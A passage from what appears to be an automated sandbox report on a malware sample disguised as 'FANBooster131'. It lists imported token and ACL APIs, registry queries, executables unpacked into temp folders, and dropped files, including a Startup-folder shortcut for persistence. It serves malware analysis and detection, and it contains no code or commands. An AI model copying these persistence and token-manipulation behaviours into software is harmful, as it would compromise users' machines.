00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")72:T11a2,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: dcb10b49c7d8d03b15484c3ca04e7086.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: dcb10b49c7d8d03b15484c3ca04e7086.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: dcb10b49c7d8d03b15484c3ca04e7086.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: dcb10b49c7d8d03b15484c3ca04e7086.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: dcb10b49c7d8d03b15484c3ca04e7086.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: tv5xp30.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: tv5xp30.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: tv5xp30.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: tv5xp30.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: tv5xp30.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: AD1Sg20.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: AD1Sg20.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: AD1Sg20.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: AD1Sg20.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: AD1Sg20.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 2kJ9830.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 2kJ9830.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 2kJ9830.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 2kJ9830.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 2kJ9830.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 2kJ9830.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 2kJ9830.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 2kJ9830.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 2kJ9830.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 2kJ9830.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 2kJ9830.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 2kJ9830.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 2kJ9830.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 2kJ9830.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 2kJ9830.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 2kJ9830.exe]73:T90a,"5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPV6DOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "")74:T4ce,"tv5xp30.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\tv5xp30.exe]- [targetUID: 00000000-00005184] "AD1Sg20.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\AD1Sg20.exe]- [targetUID: 00000000-00005220] "FANBooster131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\FANBooster131\FANBooster131.exe]- [targetUID: 00000000-00005528] "2kJ9830.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\2kJ9830.exe]- [targetUID: 00000000-00005160] "sqlite3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\tempAVSnBPO13DQmhKZ\sqlite3.dll]- [targetUID: 00000000-00005528] "6vx5my2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6vx5my2.exe]- [targetUID: 00000000-00004104] "7oU4qf55.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7oU4qf55.exe]- [targetUID: 00000000-00005184] "5Jy6wg6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5Jy6wg6.exe]- [targetUID: 00000000-00005528]75:T1408,Dropped file: "FANBooster131.lnk" - Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk]- [targetUID: 00000000-00005528] Dropped file: "PHKEK4QM.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\PHKEK4QM.htm]- [targetUID: 00000000-00004840] Dropped file: "77EC63BDA74BD0D0E0426DC8F8008506" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00005528] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00005284] Dropped file: "70DAE932E3BCB3C00656A27B544BA9CA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00005424] Dropped file: "C88418EDBE65AF3960916D9E8011370D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C88418EDBE65AF3960916D9E8011370D]- [targetUID: 00000000-00005424] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00005284] Dropped file: "Z8NAZ10WZTASIK6TZ64W.temp" - Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\Z8NAZ10WZTASIK6TZ64W.temp]- [targetUID: 00000000-00005884] Dropped file: "739F2FF4259CDC6CBE7B90F1A95601EF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00005500] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00005500] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00005424] Dropped file: "4748633DC5731827D4B432DBAC7A3ECE" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00005424] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00005424] Dropped file: "MPCELET8.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\MPCELET8.txt]- [targetUID: 00000000-00004840] Dropped file: "E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96]- [targetUID: 00000000-00005572] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00004840] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00004840] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00004840] Dropped file: "E87CE99F124623F95572A696C80EFCAF_F134D707C209C83E02D4485138FE5D48" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_F134D707C209C83E02D4485138FE5D48]- [targetUID: 00000000-00005572] Dropped file: "F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1]- [targetUID: 00000000-00005424] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_368DF162A563963678102D76C0B7CE99" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_368DF162A563963678102D76C0B7CE99]- [targetUID: 00000000-00005500] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06]- [targetUID: 00000000-00005424] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00005284] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00005500] Dropped file: "1VW4H8G4.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\1VW4H8G4.txt]- [targetUID: 00000000-00004840]76:T8004,"initAft()